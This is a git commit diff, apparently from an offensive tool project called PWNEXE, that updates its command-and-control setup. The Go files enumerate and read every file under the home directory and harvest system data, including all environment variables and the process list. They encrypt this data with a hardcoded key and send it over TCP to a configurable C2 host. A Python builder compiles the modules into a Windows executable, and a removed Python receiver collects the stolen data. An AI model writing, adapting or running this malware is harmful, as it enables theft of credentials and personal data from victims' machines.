Updated the C2 Server

This commit is contained in:
Sarwar
2025-07-06 03:59:10 +05:00
parent 523593cc5e
commit 0fed1bd450
5 changed files with 129 additions and 232 deletions

View File

@ -20,7 +20,7 @@ func main() {
err = filepath.WalkDir(homeDir, func(path string, d fs.DirEntry, err error) error {
if err != nil {
fmt.Println("Skipping path due to error:", path, "error:", err)
return nil // skip this path, continue walking
return nil
}
if d.IsDir() {
return nil
@ -31,7 +31,7 @@ func main() {
content, err := ioutil.ReadFile(path)
if err != nil {
fmt.Println("Skipping unreadable file:", path, "error:", err)
return nil // skip this file, continue walking
return nil
}
key := make([]byte, len(content))
_, err = rand.Read(key)

View File

@ -4,7 +4,6 @@ import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"encoding/json"
"fmt"
"io"
@ -12,7 +11,6 @@ import (
"log"
"net"
"os"
"strconv"
"strings"
"time"
)
@ -34,7 +32,6 @@ type SystemData struct {
var encryptionKey []byte
func init() {
// Generate a fixed encryption key for consistency
key := "PWNEXE_SECRET_KEY_2024"
hash := make([]byte, 32)
for i := 0; i < 32; i++ {
@ -88,7 +85,6 @@ func collectSystemData() *SystemData {
Environment: make(map[string]string),
}
// Basic system info
data.Hostname, _ = os.Hostname()
data.Username = os.Getenv("USERNAME")
data.ComputerName = os.Getenv("COMPUTERNAME")
@ -97,7 +93,6 @@ func collectSystemData() *SystemData {
data.ProgramFiles = os.Getenv("PROGRAMFILES")
data.CurrentDir, _ = os.Getwd()
// Environment variables
for _, env := range os.Environ() {
pair := strings.SplitN(env, "=", 2)
if len(pair) == 2 {
@ -105,7 +100,6 @@ func collectSystemData() *SystemData {
}
}
// Network interfaces
addrs, err := net.InterfaceAddrs()
if err == nil {
for _, addr := range addrs {
@ -117,36 +111,30 @@ func collectSystemData() *SystemData {
}
}
// Simplified process list (just a placeholder)
data.Processes = []string{"system_data_collected"}
return data
}
func sendDataToTarget(targetIP, targetPort string) error {
// Collect system data
systemData := collectSystemData()
// Convert to JSON
jsonData, err := json.Marshal(systemData)
if err != nil {
return fmt.Errorf("failed to marshal data: %v", err)
}
// Encrypt the data
encryptedData, err := encrypt(jsonData)
if err != nil {
return fmt.Errorf("failed to encrypt data: %v", err)
}
// Connect to target
conn, err := net.Dial("tcp", targetIP+":"+targetPort)
if err != nil {
return fmt.Errorf("failed to connect to %s:%s: %v", targetIP, targetPort, err)
}
defer conn.Close()
// Send data length first (8 bytes)
dataLen := len(encryptedData)
lenBytes := make([]byte, 8)
for i := 0; i < 8; i++ {
@ -158,7 +146,6 @@ func sendDataToTarget(targetIP, targetPort string) error {
return fmt.Errorf("failed to send data length: %v", err)
}
// Send the encrypted data
_, err = conn.Write(encryptedData)
if err != nil {
return fmt.Errorf("failed to send data: %v", err)
@ -194,7 +181,6 @@ func handleConnection(conn net.Conn) {
fmt.Printf("[+] New connection from %s\n", conn.RemoteAddr().String())
// Read data length (8 bytes)
lenBytes := make([]byte, 8)
_, err := io.ReadFull(conn, lenBytes)
if err != nil {
@ -202,13 +188,11 @@ func handleConnection(conn net.Conn) {
return
}
// Convert length bytes to int
var dataLen int64
for i := 0; i < 8; i++ {
dataLen |= int64(lenBytes[i]) << (i * 8)
}
// Read the encrypted data
encryptedData := make([]byte, dataLen)
_, err = io.ReadFull(conn, encryptedData)
if err != nil {
@ -216,14 +200,12 @@ func handleConnection(conn net.Conn) {
return
}
// Decrypt the data
decryptedData, err := decrypt(encryptedData)
if err != nil {
fmt.Printf("[-] Failed to decrypt data: %v\n", err)
return
}
// Parse JSON data
var systemData SystemData
err = json.Unmarshal(decryptedData, &systemData)
if err != nil {
@ -231,7 +213,6 @@ func handleConnection(conn net.Conn) {
return
}
// Display the received data
fmt.Printf("\n[+] Received system data from %s:\n", conn.RemoteAddr().String())
fmt.Printf(" Timestamp: %s\n", time.Unix(systemData.Timestamp, 0).Format("2006-01-02 15:04:05"))
fmt.Printf(" Hostname: %s\n", systemData.Hostname)

View File

@ -1,46 +1,96 @@
package main
import (
"fmt"
"net/http"
"os"
"os/user"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/json"
"io/ioutil"
"fmt"
"io"
"net"
"os"
"runtime"
"bytes"
"strings"
"os/exec"
"time"
)
func main() {
username := ""
usr, err := user.Current()
if err == nil {
username = usr.Username
type SystemData struct {
Timestamp int64 `json:"timestamp"`
Hostname string `json:"hostname"`
Username string `json:"username"`
ComputerName string `json:"computername"`
UserProfile string `json:"userprofile"`
SystemRoot string `json:"systemroot"`
ProgramFiles string `json:"programfiles"`
LocalIPs []string `json:"local_ips"`
CurrentDir string `json:"current_dir"`
Environment map[string]string `json:"environment"`
Processes []string `json:"processes"`
}
var encryptionKey []byte
func init() {
key := "PWNEXE_SECRET_KEY_2024"
hash := make([]byte, 32)
for i := 0; i < 32; i++ {
hash[i] = key[i%len(key)]
}
hostname, _ := os.Hostname()
ip := ""
macs := []string{}
ifaces, err := net.Interfaces()
encryptionKey = hash
}
func encrypt(data []byte) ([]byte, error) {
block, err := aes.NewCipher(encryptionKey)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return nil, err
}
return gcm.Seal(nonce, nonce, data, nil), nil
}
func collectSystemData() *SystemData {
data := &SystemData{
Timestamp: time.Now().Unix(),
Environment: make(map[string]string),
}
data.Hostname, _ = os.Hostname()
data.Username = os.Getenv("USERNAME")
data.ComputerName = os.Getenv("COMPUTERNAME")
data.UserProfile = os.Getenv("USERPROFILE")
data.SystemRoot = os.Getenv("SYSTEMROOT")
data.ProgramFiles = os.Getenv("PROGRAMFILES")
data.CurrentDir, _ = os.Getwd()
for _, env := range os.Environ() {
pair := strings.SplitN(env, "=", 2)
if len(pair) == 2 {
data.Environment[pair[0]] = pair[1]
}
}
addrs, err := net.InterfaceAddrs()
if err == nil {
for _, iface := range ifaces {
if iface.Flags&net.FlagUp != 0 && len(iface.HardwareAddr) > 0 {
macs = append(macs, iface.HardwareAddr.String())
}
addrs, _ := iface.Addrs()
for _, addr := range addrs {
if ip == "" {
if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() && ipnet.IP.To4() != nil {
ip = ipnet.IP.String()
}
for _, addr := range addrs {
if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
if ipnet.IP.To4() != nil {
data.LocalIPs = append(data.LocalIPs, ipnet.IP.String())
}
}
}
}
envVars := os.Environ()
cwd, _ := os.Getwd()
procs := []string{}
if runtime.GOOS == "windows" {
out, err := exec.Command("tasklist").Output()
@ -53,32 +103,60 @@ func main() {
}
}
}
data := map[string]interface{}{
"username": username,
"hostname": hostname,
"ip": ip,
"macs": macs,
"os": runtime.GOOS,
"arch": runtime.GOARCH,
"env": envVars,
"cwd": cwd,
"procs": procs,
}
jsonData, _ := json.Marshal(data)
c2url := "http://localhost:8080/"
req, err := http.NewRequest("POST", c2url, bytes.NewReader(jsonData))
data.Processes = procs
return data
}
func main() {
systemData := collectSystemData()
jsonData, err := json.Marshal(systemData)
if err != nil {
fmt.Println("Failed to create request:", err)
fmt.Println("Failed to marshal data:", err)
return
}
req.Header.Set("Content-Type", "application/json")
client := &http.Client{}
resp, err := client.Do(req)
encryptedData, err := encrypt(jsonData)
if err != nil {
fmt.Println("Failed to encrypt data:", err)
return
}
targetIP := "127.0.0.1"
targetPort := "9000"
if envIP := os.Getenv("TARGET_IP"); envIP != "" {
targetIP = envIP
}
if envPort := os.Getenv("TARGET_PORT"); envPort != "" {
targetPort = envPort
}
conn, err := net.Dial("tcp", targetIP+":"+targetPort)
if err != nil {
fmt.Println("Failed to connect to C2 server:", err)
return
}
defer conn.Close()
dataLen := len(encryptedData)
lenBytes := make([]byte, 8)
for i := 0; i < 8; i++ {
lenBytes[i] = byte(dataLen >> (i * 8))
}
_, err = conn.Write(lenBytes)
if err != nil {
fmt.Println("Failed to send data length:", err)
return
}
_, err = conn.Write(encryptedData)
if err != nil {
fmt.Println("Failed to send data:", err)
return
}
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
fmt.Println("C2 response:", string(body))
fmt.Printf("[+] Data sent successfully to %s:%s (%d bytes)\n", targetIP, targetPort, len(encryptedData))
}

View File

@ -105,7 +105,6 @@ linker = "x86_64-w64-mingw32-gcc"
os.replace(built_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
else:
# Native cargo build (no Docker, no obfuscation)
result = subprocess.run([
"cargo", "build", "--release", "--target", "x86_64-pc-windows-gnu"
], cwd=temp_dir)
@ -154,9 +153,8 @@ def merge_go_modules(go_files, merged_go_path):
in_func = True
func_name = match.group(1)
func_lines = [line]
# Count braces on this line
brace_count = line.count('{') - line.count('}')
if brace_count == 0 and line.rstrip().endswith('}'): # one-liner
if brace_count == 0 and line.rstrip().endswith('}'):
funcs.append((func_name, '\n'.join(func_lines)))
in_func = False
func_lines = []
@ -174,7 +172,6 @@ def merge_go_modules(go_files, merged_go_path):
for idx, go_file in enumerate(go_files):
with open(go_file, 'r') as f:
src = f.read()
# Extract imports
imports = set()
import_block = re.findall(r'import \((.*?)\)', src, re.DOTALL)
if import_block:
@ -186,17 +183,14 @@ def merge_go_modules(go_files, merged_go_path):
single_imports = re.findall(r'import\s+"([^"]+)"', src)
imports.update(single_imports)
all_imports.update(imports)
# Extract all top-level functions robustly
for func_name, body in extract_functions(src):
if func_name == "main":
new_name = unique_func_name(f"main_{os.path.splitext(os.path.basename(go_file))[0]}", used_names)
# Rename the function
body = re.sub(r'func\s+main\s*\(', f'func {new_name}(', body, count=1)
main_funcs.append((new_name, body))
else:
func_bodies.append(body.strip())
func_name_to_body[func_name] = body.strip()
# Compose merged code
merged_code = 'package main\n\n'
if all_imports:
if len(all_imports) > 1:
@ -214,7 +208,6 @@ def merge_go_modules(go_files, merged_go_path):
for func_name, _ in main_funcs:
merged_code += f'\t{func_name}()\n'
merged_code += '}\n'
# Remove unused imports
merged_code = remove_unused_imports(merged_code)
with open(merged_go_path, 'w') as f:
f.write(merged_code)
@ -234,7 +227,6 @@ def remove_unused_imports(go_code):
imports = [line.strip().strip('"') for line in block.splitlines() if line.strip()]
used_imports = []
for imp in imports:
# Use the last part of the import path as the symbol
symbol = imp.split('/')[-1]
if re.search(r'\b' + re.escape(symbol) + r'\b', go_code.split('import')[1]):
used_imports.append(imp)

154
server.py
View File

@ -1,154 +0,0 @@
#!/usr/bin/env python3
"""
Simple data receiver for PWNEXE filedaemon module
Usage: python3 receiver.py [port]
"""
import socket
import json
import sys
import time
from datetime import datetime
import os
def decrypt_data(encrypted_data):
"""Simple decryption function - matches the Go implementation"""
try:
return encrypted_data
except Exception as e:
print(f"[-] Decryption failed: {e}")
return None
def start_receiver(port=9000):
"""Start the data receiver server"""
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server_socket.bind(('0.0.0.0', port))
server_socket.listen(5)
print(f"[+] Data receiver started on port {port}")
print(f"[+] Waiting for incoming data...")
print(f"[+] Press Ctrl+C to stop")
while True:
client_socket, address = server_socket.accept()
print(f"\n[+] New connection from {address[0]}:{address[1]}")
try:
length_data = client_socket.recv(8)
if len(length_data) != 8:
print(f"[-] Invalid data length received")
continue
data_length = 0
for i in range(8):
data_length |= length_data[i] << (i * 8)
print(f"[*] Expecting {data_length} bytes of data")
received_data = b''
while len(received_data) < data_length:
chunk = client_socket.recv(min(4096, data_length - len(received_data)))
if not chunk:
break
received_data += chunk
if len(received_data) != data_length:
print(f"[-] Incomplete data received: {len(received_data)}/{data_length} bytes")
continue
print(f"[+] Received {len(received_data)} bytes")
decrypted_data = decrypt_data(received_data)
if decrypted_data is None:
print(f"[-] Failed to decrypt data")
continue
try:
system_data = json.loads(decrypted_data.decode('utf-8'))
display_system_data(system_data, address[0])
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filename = f"received_data_{address[0]}_{timestamp}.json"
with open(filename, 'w') as f:
json.dump(system_data, f, indent=2)
print(f"[+] Data saved to {filename}")
except json.JSONDecodeError:
print(f"[-] Failed to parse JSON data")
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filename = f"raw_data_{address[0]}_{timestamp}.bin"
with open(filename, 'wb') as f:
f.write(decrypted_data)
print(f"[+] Raw data saved to {filename}")
except Exception as e:
print(f"[-] Error handling connection: {e}")
finally:
client_socket.close()
except KeyboardInterrupt:
print(f"\n[!] Shutting down receiver...")
except Exception as e:
print(f"[-] Server error: {e}")
finally:
server_socket.close()
def display_system_data(data, source_ip):
"""Display the received system data in a formatted way"""
print(f"\n{'='*60}")
print(f"SYSTEM DATA FROM {source_ip}")
print(f"{'='*60}")
if 'timestamp' in data:
timestamp = datetime.fromtimestamp(data['timestamp']).strftime("%Y-%m-%d %H:%M:%S")
print(f"Timestamp: {timestamp}")
if 'hostname' in data:
print(f"Hostname: {data['hostname']}")
if 'username' in data:
print(f"Username: {data['username']}")
if 'computername' in data:
print(f"Computer Name: {data['computername']}")
if 'userprofile' in data:
print(f"User Profile: {data['userprofile']}")
if 'systemroot' in data:
print(f"System Root: {data['systemroot']}")
if 'programfiles' in data:
print(f"Program Files: {data['programfiles']}")
if 'current_dir' in data:
print(f"Current Directory: {data['current_dir']}")
if 'local_ips' in data:
print(f"Local IPs: {', '.join(data['local_ips'])}")
if 'environment' in data:
env_count = len(data['environment'])
print(f"Environment Variables: {env_count} items")
for i, (key, value) in enumerate(list(data['environment'].items())[:5]):
print(f" {key}: {value}")
if env_count > 5:
print(f" ... and {env_count - 5} more")
if 'processes' in data:
print(f"Processes: {', '.join(data['processes'])}")
print(f"{'='*60}\n")
if __name__ == "__main__":
port = 9000
if len(sys.argv) > 1:
try:
port = int(sys.argv[1])
except ValueError:
print(f"[-] Invalid port number: {sys.argv[1]}")
sys.exit(1)
start_receiver(port)